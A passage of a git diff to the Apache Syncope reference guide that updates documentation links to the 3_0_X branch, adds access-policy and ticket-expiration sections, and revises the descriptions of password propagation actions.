+https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/notification/RecipientsProvider.java[RecipientsProvider^] endif::[] interface * <> - event(s) triggering the enclosing notification @@ -116,7 +116,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/UserTO.java[UserTO^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/UserTO.java[UserTO^] +https://github.com/apache/syncope/blob/3_0_X/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/to/UserTO.java[UserTO^] endif::[] with actual value matching the _about_ condition as introduced above, can be used. diff --git a/src/main/asciidoc/reference-guide/concepts/policies.adoc b/src/main/asciidoc/reference-guide/concepts/policies.adoc index 8075c21b6b4..d28fc1044c6 100644 --- a/src/main/asciidoc/reference-guide/concepts/policies.adoc +++ b/src/main/asciidoc/reference-guide/concepts/policies.adoc @@ -69,30 +69,30 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/AccountRuleConf.java[AccountRuleConf^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/AccountRuleConf.java[AccountRuleConf^] +https://github.com/apache/syncope/blob/3_0_X/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/AccountRuleConf.java[AccountRuleConf^] endif::[] . enforcing in an implementation of ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRule.java[AccountRule^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/AccountRule.java[AccountRule^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRule.java[AccountRule^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/AccountRule.java[AccountRule^] endif::[] annotated via ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRuleConfClass.java[@AccountRuleConfClass^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRuleConfClass.java[@AccountRuleConfClass^] +https://github.com/apache/syncope/blob/3_0_X/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRuleConfClass.java[@AccountRuleConfClass^] endif::[] referring to the configuration class. As `GROOVY` <>, writing custom account rules means implementing ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRule.java[AccountRule^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/AccountRule.java[AccountRule^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/AccountRule.java[AccountRule^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/AccountRule.java[AccountRule^] endif::[] ==== @@ -103,14 +103,14 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultAccountRule.java[DefaultAccountRule^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultAccountRule.java[DefaultAccountRule^] +https://github.com/apache/syncope/blob/3_0_X/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultAccountRule.java[DefaultAccountRule^] endif::[] and configurable via ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAccountRuleConf.java[DefaultAccountRuleConf^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAccountRuleConf.java[DefaultAccountRuleConf^] +https://github.com/apache/syncope/blob/3_0_X/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAccountRuleConf.java[DefaultAccountRuleConf^] endif::[] ) contains the following controls: @@ -173,30 +173,30 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/PasswordRuleConf.java[PasswordRuleConf^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/PasswordRuleConf.java[PasswordRuleConf^] +https://github.com/apache/syncope/blob/3_0_X/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/PasswordRuleConf.java[PasswordRuleConf^] endif::[] . enforcing in an implementation of ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRule.java[PasswordRule^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PasswordRule.java[PasswordRule^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRule.java[PasswordRule^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PasswordRule.java[PasswordRule^] endif::[] annotated via ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRuleConfClass.java[@PasswordRuleConfClass^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRuleConfClass.java[@PasswordRuleConfClass^] +https://github.com/apache/syncope/blob/3_0_X/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRuleConfClass.java[@PasswordRuleConfClass^] endif::[] referring to the configuration class. As `GROOVY` <>, writing custom account rules means implementing ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRule.java[PasswordRule^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PasswordRule.java[PasswordRule^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PasswordRule.java[PasswordRule^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PasswordRule.java[PasswordRule^] endif::[] ==== @@ -207,14 +207,14 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultPasswordRule.java[DefaultPasswordRule^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultPasswordRule.java[DefaultPasswordRule^] +https://github.com/apache/syncope/blob/3_0_X/core/spring/src/main/java/org/apache/syncope/core/spring/policy/DefaultPasswordRule.java[DefaultPasswordRule^] endif::[] and configurable via ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultPasswordRuleConf.java[DefaultPasswordRuleConf^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultPasswordRuleConf.java[DefaultPasswordRuleConf^] +https://github.com/apache/syncope/blob/3_0_X/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultPasswordRuleConf.java[DefaultPasswordRuleConf^] endif::[] ) is based on https://www.passay.org/[Passay^] and contains the following controls: @@ -248,14 +248,14 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/spring/src/main/java/org/apache/syncope/core/spring/policy/HaveIBeenPwnedPasswordRule.java[HaveIBeenPwnedPasswordRule^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/spring/src/main/java/org/apache/syncope/core/spring/policy/HaveIBeenPwnedPasswordRule.java[HaveIBeenPwnedPasswordRule^] +https://github.com/apache/syncope/blob/3_0_X/core/spring/src/main/java/org/apache/syncope/core/spring/policy/HaveIBeenPwnedPasswordRule.java[HaveIBeenPwnedPasswordRule^] endif::[] and configurable via ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/HaveIBeenPwnedPasswordRuleConf.java[HaveIBeenPwnedPasswordRuleConf^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/HaveIBeenPwnedPasswordRuleConf.java[HaveIBeenPwnedPasswordRuleConf^] +https://github.com/apache/syncope/blob/3_0_X/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/policy/HaveIBeenPwnedPasswordRuleConf.java[HaveIBeenPwnedPasswordRuleConf^] endif::[] ) checks the provided password values against the popular https://haveibeenpwned.com["Have I Been Pwned?"^] service. @@ -268,14 +268,55 @@ a `JAVA` `PASSWORD_RULE` <> for the [[policies-access]] ==== Access -Access policies provide fine-grained control over the authorization rules to apply to +Access policies provide fine-grained control over the access rules to apply to <>. -An access policy describes whether the client application is allowed to use WA, allowed to participate in -single sign-on authentication, etc. Additionally, it may be configured to require a certain set of principal attributes -that must exist before access can be granted to the client application. This behavior allows one to configure various -attributes in terms of access roles for the application and define rules that would be enacted and validated when an -authentication request from the application arrives. +The following access policy configurations are available by default: + +[cols="1,2"] +|=== + +| +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAccessPolicyConf.java[DefaultAccessPolicyConf^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAccessPolicyConf.java[DefaultAccessPolicyConf^] +endif::[] +| It describes whether the client application is allowed to use WA, allowed to participate in single sign-on +authentication, etc; additionally, it may be configured to require a certain set of principal attributes that must exist +before access can be granted. + +| +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/HttpRequestAccessPolicyConf.java[HttpRequestAccessPolicyConf^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/HttpRequestAccessPolicyConf.java[HttpRequestAccessPolicyConf^] +endif::[] +| Make access decisions based on HTTP request properties as client IP address and user-agent. + +| +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/RemoteEndpointAccessPolicyConf.java[RemoteEndpointAccessPolicyConf^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/RemoteEndpointAccessPolicyConf.java[RemoteEndpointAccessPolicyConf^] +endif::[] +| Delegate access decisions to a remote endpoint by receiving the authenticated principal as url parameter of a `GET` +request; the response code that the endpoint returns is then compared against the policy setting and if a match is +found, access is granted. + +| +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TimeBasedAccessPolicyConf.java[TimeBasedAccessPolicyConf^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TimeBasedAccessPolicyConf.java[TimeBasedAccessPolicyConf^] +endif::[] +| Access is only allowed within the configured timeframe. + +|=== [NOTE] Access Policy instances are dynamically translated into @@ -362,7 +403,7 @@ When defining a pull policy, the following information must be provided: ** `FIRSTMATCH` - pull first matching object only ** `LASTMATCH` - pull last matching object only ** `ALL` - pull all matching objects -* rules - set of correlation rules to evaluate with the current policy; for each defined <>, a +* rules - set of correlation rules to evaluate with the current policy; for each defined <>, a different rule is required ===== Pull Correlation Rules @@ -372,10 +413,10 @@ with existing Users (including <>), Groups or Any Objects. The ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/DefaultPullCorrelationRule.java[default^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultPullCorrelationRule.java[default^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/DefaultPullCorrelationRule.java[default^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultPullCorrelationRule.java[default^] endif::[] implementation attempts to match entities on the basis of the values of the provided plain attributes, according to the available <>. @@ -384,10 +425,10 @@ according to the available <>. ==== Custom pull correlation rules can be provided by <> the ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PullCorrelationRule.java[PullCorrelationRule^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PullCorrelationRule.java[PullCorrelationRule^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PullCorrelationRule.java[PullCorrelationRule^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PullCorrelationRule.java[PullCorrelationRule^] endif::[] interface. ==== @@ -409,11 +450,11 @@ objects existing on <>. The ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/DefaultPushCorrelationRule.java[default^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultPushCorrelationRule.java[default^] ] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/DefaultPushCorrelationRule.java[default^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/DefaultPushCorrelationRule.java[default^] endif::[] implementation attempts to match entities on the basis of the values of the provided plain attributes, according to the available <>. @@ -422,10 +463,19 @@ according to the available <>. ==== Custom push correlation rules can be provided by <> the ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PushCorrelationRule.java[PushCorrelationRule^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PushCorrelationRule.java[PushCorrelationRule^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/PushCorrelationRule.java[PushCorrelationRule^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/rules/PushCorrelationRule.java[PushCorrelationRule^] endif::[] interface. ==== + +[[policies-ticket-expiration]] +==== Ticket Expiration + +Ticket Expiration policies control the duration of various types of WA sessions. + +[NOTE] +Ticket Expiration Policy instances are dynamically translated into +https://apereo.github.io/cas/6.6.x/ticketing/Configuring-Ticket-Expiration-Policy.html[their CAS equivalent^]. diff --git a/src/main/asciidoc/reference-guide/concepts/provisioning/propagation.adoc b/src/main/asciidoc/reference-guide/concepts/provisioning/propagation.adoc index 37e78a3c9a8..ac9d897b148 100644 --- a/src/main/asciidoc/reference-guide/concepts/provisioning/propagation.adoc +++ b/src/main/asciidoc/reference-guide/concepts/provisioning/propagation.adoc @@ -18,9 +18,10 @@ // ==== Propagation -Whenever a change is performed via REST on Users, Groups or Any Objects: +Whenever a change is performed via REST on Realms, Users, Groups or Any Objects: -. a set of <> is generated, one for each associated external resource; +. a set of <> is generated, one for each associated external resource for which the +<> is defined for the given <> or <>; . the generated propagation tasks are executed, e.g. the corresponding operations (create, update or delete) are sent out, via connectors, to the configured Identity Stores; the tasks can be saved for later re-execution. @@ -59,8 +60,8 @@ the provided mapping; password has a special treatment: * if cleartext value is available (this cannot happen during <>), it is sent to the External Resource * if `password.cipher.algorithm` is `AES` (the only supported reversible algorithm), then the ciphered password value is made cleartext again, and sent to the External Resource -* if the <> is set, a random password value is generated - according to the defined password policies, and sent to the External Resource +* if the `GenerateRandomPasswordPropagationActions` is enabled, a random password value is generated + according to the defined <> and sent to the External Resource * otherwise, a `null` value is sent to the External Resource Password values are always sent to External Resources wrapped as ConnId @@ -72,7 +73,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/PriorityPropagationTaskExecutor.java[PriorityPropagationTaskExecutor^], endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/PriorityPropagationTaskExecutor.java[PriorityPropagationTaskExecutor^], +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/PriorityPropagationTaskExecutor.java[PriorityPropagationTaskExecutor^], endif::[] which implements the following logic: @@ -104,7 +105,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationTaskExecutor.java[PropagationTaskExecutor^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationTaskExecutor.java[PropagationTaskExecutor^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationTaskExecutor.java[PropagationTaskExecutor^] endif::[] interface can be provided, in case the required behavior does not fit into the provided implementation. @@ -116,7 +117,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationActions.java[PropagationActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationActions.java[PropagationActions^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/propagation/PropagationActions.java[PropagationActions^] endif::[] interface. @@ -127,42 +128,60 @@ Some examples are included by default, see table below. | ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPMembershipPropagationActions.java[LDAPMembershipPropagationActions^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/AzurePropagationActions.java[AzurePropagationActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPMembershipPropagationActions.java[LDAPMembershipPropagationActions^] +https://github.com/apache/syncope/tree/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/AzurePropagationActions.java[AzurePropagationActions^] endif::[] -| If a User is associated with a Group in Syncope, keep the corresponding User as a member of the corresponding Group in LDAP or AD. +| Required for setup of an External Resource based on the https://connid.atlassian.net/wiki/display/BASE/Azure#Azure-Configuration[ConnId Azure connector bundle^]. | ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPPasswordPropagationActions.java[LDAPPasswordPropagationActions^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DBPasswordPropagationActions.java[DBPasswordPropagationActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPPasswordPropagationActions.java[LDAPPasswordPropagationActions^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DBPasswordPropagationActions.java[DBPasswordPropagationActions^] endif::[] -| If no password value was already provided in the propagation task, sends out the internal password hash value to LDAP; -the cipher algorithm associated with the password must match the value of `passwordHashAlgorithm` for the -https://connid.atlassian.net/wiki/display/BASE/LDAP#LDAP-Configuration[LDAP connector bundle^]. +| If no password value was already provided in the propagation task, sends out the internal password hash value to DBMS; +the cipher algorithm associated with the password must match the value of `Password cipher algorithm` for the +https://connid.atlassian.net/wiki/display/BASE/Database+Table#DatabaseTable-ConfigurationProperties[ConnId DatabaseTable connector bundle^]. | ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DBPasswordPropagationActions.java[DBPasswordPropagationActions^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/GenerateRandomPasswordPropagationActions.java[GenerateRandomPasswordPropagationActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DBPasswordPropagationActions.java[DBPasswordPropagationActions^] +https://github.com/apache/syncope/tree/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/GenerateRandomPasswordPropagationActions.java[GenerateRandomPasswordPropagationActions^] endif::[] -| If no password value was already provided in the propagation task, sends out the internal password hash value to DBMS; -the cipher algorithm associated with the password must match the value of `Password cipher algorithm` for the -https://connid.atlassian.net/wiki/display/BASE/Database+Table#DatabaseTable-ConfigurationProperties[DatabaseTable connector bundle^]. +| If no password value was already provided in the propagation task, random password value is generated according to the defined <> and sent to the External Resource. | ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/GoogleAppsPropagationActions.java[GoogleAppsPropagationActions^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/tree/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/GoogleAppsPropagationActions.java[GoogleAppsPropagationActions^] +https://github.com/apache/syncope/tree/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/GoogleAppsPropagationActions.java[GoogleAppsPropagationActions^] endif::[] | Required for setup of an External Resource based on the https://connid.atlassian.net/wiki/display/BASE/Google+Apps#GoogleApps-Configuration[ConnId GoogleApps connector bundle^]. +| +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPMembershipPropagationActions.java[LDAPMembershipPropagationActions^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPMembershipPropagationActions.java[LDAPMembershipPropagationActions^] +endif::[] +| If a User is associated with a Group in Syncope, keep the corresponding User as a member of the corresponding Group in LDAP or AD. + +| +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPPasswordPropagationActions.java[LDAPPasswordPropagationActions^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPPasswordPropagationActions.java[LDAPPasswordPropagationActions^] +endif::[] +| If no password value was already provided in the propagation task, sends out the internal password hash value to LDAP; +the cipher algorithm associated with the password must match the value of `passwordHashAlgorithm` for the +https://connid.atlassian.net/wiki/display/BASE/LDAP#LDAP-Configuration[LDAP connector bundle^]. + |=== diff --git a/src/main/asciidoc/reference-guide/concepts/provisioning/provisioning.adoc b/src/main/asciidoc/reference-guide/concepts/provisioning/provisioning.adoc index 7e71ae284c9..68a5f93a2a3 100644 --- a/src/main/asciidoc/reference-guide/concepts/provisioning/provisioning.adoc +++ b/src/main/asciidoc/reference-guide/concepts/provisioning/provisioning.adoc @@ -48,19 +48,19 @@ ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/UserProvisioningManager.java[UserProvisioningManager^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/UserProvisioningManager.java[UserProvisioningManager^] +* https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/UserProvisioningManager.java[UserProvisioningManager^] endif::[] ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/GroupProvisioningManager.java[GroupProvisioningManager^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/GroupProvisioningManager.java[GroupProvisioningManager^] +* https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/GroupProvisioningManager.java[GroupProvisioningManager^] endif::[] ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/AnyObjectProvisioningManager.java[AnyObjectProvisioningManager^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/AnyObjectProvisioningManager.java[AnyObjectProvisioningManager^] +* https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/AnyObjectProvisioningManager.java[AnyObjectProvisioningManager^] endif::[] Default implementations are available: @@ -69,19 +69,19 @@ ifeval::["{snapshotOrRelease}" == "release"] * https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultUserProvisioningManager.java[DefaultUserProvisioningManager^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -* https://github.com/apache/syncope/blob/master/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultUserProvisioningManager.java[DefaultUserProvisioningManager^] +* https://github.com/apache/syncope/blob/3_0_X/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/DefaultUserProvisioningManager.java[DefaultUserProvisioningManager^] endif::[] ifeval::["{snapshotOrRelease}" 